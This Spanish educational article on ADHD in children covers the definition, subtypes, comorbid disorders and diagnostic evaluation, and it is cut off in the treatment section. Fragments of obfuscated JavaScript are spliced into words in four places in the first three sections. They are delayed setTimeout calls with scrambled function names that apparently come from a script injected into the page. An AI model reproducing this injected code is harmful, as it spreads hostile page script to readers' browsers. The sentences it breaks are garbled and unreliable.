NIÑOS/AS CON TDAH: ¡ APRENDAMOS A VALORARLOS!

AUTORA: ALMA CANSECO MARTÍN

                   El TDAH es un trastorno neurobiológico de carácter crónico cuyas características principales son: déficit atencional, hiperactividad e impulsividad. Para conseguir una intervención adecuada, es imprescindible llevar a cabo una correcta evaluación para determinar un diagnóstico acertado. En su tratamiento juegan un papel muy importante, tanto familiares como profesionales educativos y sanitarios. El factor social es muy influyente en estos niños., ya que suelen tener una autoestima baja, y por lo tanto, una percepción negativa hacia ellos, puede afectarles negativamente.


 

1)    ¿ QUÉ ES EL TDAH?

El Trastorno por Déficit de Atención e Hiperactividad es un trastorno neurobiológico de carácter crónico, sintomáticamente evolutivo y de probable transmisión genética que afecta entre 5% y un 10% de la población infantil, llegandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando incluso a la edad adulta en el 60 % de los casos. Está caracterizado por una dificultad de mantener la atención voluntaria frente a actividades, unido a una falta de control de impulsos.

Los síntomas nucleares del TDAH son: déficit de atención, hiperactividad e impulsividad.

Según la  Asociación Americana de Psiquiatría ( APA)  se pueden distinguir tres subgrupos:

a)   Predominan los síntomas de inatención.

b)    Predominan los síntomas de hiperactividad- impulsividad.

c)    Tienen los tres síntomas: inatención, hiperactividad, impulsividad.

Actualmente se desconocen cuáles son los factores específicos que originan la aparición de este trastorno, lo que sí se sabe es que son múltiples factores los influyentes ( factores genéticos, neuroquímicos y psicosociales).

2)    COMORBILIDAD:

Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando se habla de TDAH es imposible no hablar de comorbilidad (presentación en un mismo individuo de dos o más trastornos).

Algunos de los trastornos que coexisten con el TDAH son:

  • Trastorno de conducta: negativista, desafiante, disocial. Los patrones más relevantes son los de agresividad, oposicionismo y conductas antisociales. Siempre que haya problemas de conducta tanto en casa como en el colegio, hay que intervenir con programas de modificación de conducta específicos.
  • Trastornos afectivos: Ansiedad y depresión. Esta relación tiene que ver posiblemente con el desarrollo de inseguridad y baja autoestima secundarios a sus conductas y a la relación con el entorno.
  • Trastorno de Tourette: Este síndrome se caracteriza por la presencia de tics de fuerte intensidad y sonidos guturales. Existe una mayor frecuencia de esta enfermedad en sujetos con TDAH, pues es la patología neurológica más asociada al trastorno.
  • Abuso de sustancias tóxicas: El TDAH es un factor de riesgo para el uso/abuso de drogas.
  • Trastornos del aprendizaje: Son muy frecuentes en niños con TDAH, ya que los problemas de atención dificultan un buen rendimiento escolar. Las dificultades se centran sobre todo en el acceso al léxico, la comprensión, las matemáticas y la escritura.
  • Trastornos del lenguaje: Son frecuentes incidiendo sobre todo en los trabajos lingüísticos, la poca adaptación del léxico a situaciones concretas y la escasa habilidad narrativa.

3)    EVALUACIÓN:

Un diagnóstico correcto y precoz es imprescindible tanto para un tratamiento efectivo, como para una pronta intervención, evitandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando así la posible comorbilidad.

En un primer momento suelen ser los padres y profesores quienes perciben anomalías en el comportamiento del niño, pero el diagnóstico debe ser realizado por profesionales médicos expertos en TDAH como son el neuropediatra, psiquiatra infantil y neurólogo.

El diagnóstico del TDAH se realiza en base a la clínica médica. Los criterios del DSM-IV y las descripciones clínicas y pautas para el diagnóstico del CIE-10 son los procedimientos más utilizados internacionalmente.

La evaluación de este complejo trastorno debe realizarse desde una perspectiva multiprofesional que aborde tanto la evaluación psicológica, educativa y médica:

Una vez realizada la evaluación y diagnosticado el TDAH, se pasa a la intervención, siendo el Tratamiento Multimodal el más eficaz de todos, puesto que conlleva la inclusión de padres, profesores, médicos y psicólogos en todos los niveles de la terapia.

4)    TRATAMIENTO:

El tratamiento del TDAH debe plantearse desde un enfoque multidisciplinar y multimodal. Debido al impacto que tiene este trastorno sobre las diferentes áreas de la vida del afectado, es necesario atender e intervenir sobre los aspectos cognitivos, conductuales, educativos, afectivos, familiares y sociales.

Los cuatro pilares que conforman el tratamiento multimodal del TDAH son los siguientes:

a)    TRATAMIENTO FARMACOLÓGICO: Este tratamiento se presenta en dos formas: tratamiento con medicamentos psicoestimulantes y tratamiento con medicamentos no psicoestimulantes.

El “Metilfenidato´´ es el tratamiento farmacológico de elección para el TDAH. Es un fármaco estimulante que actúa bloque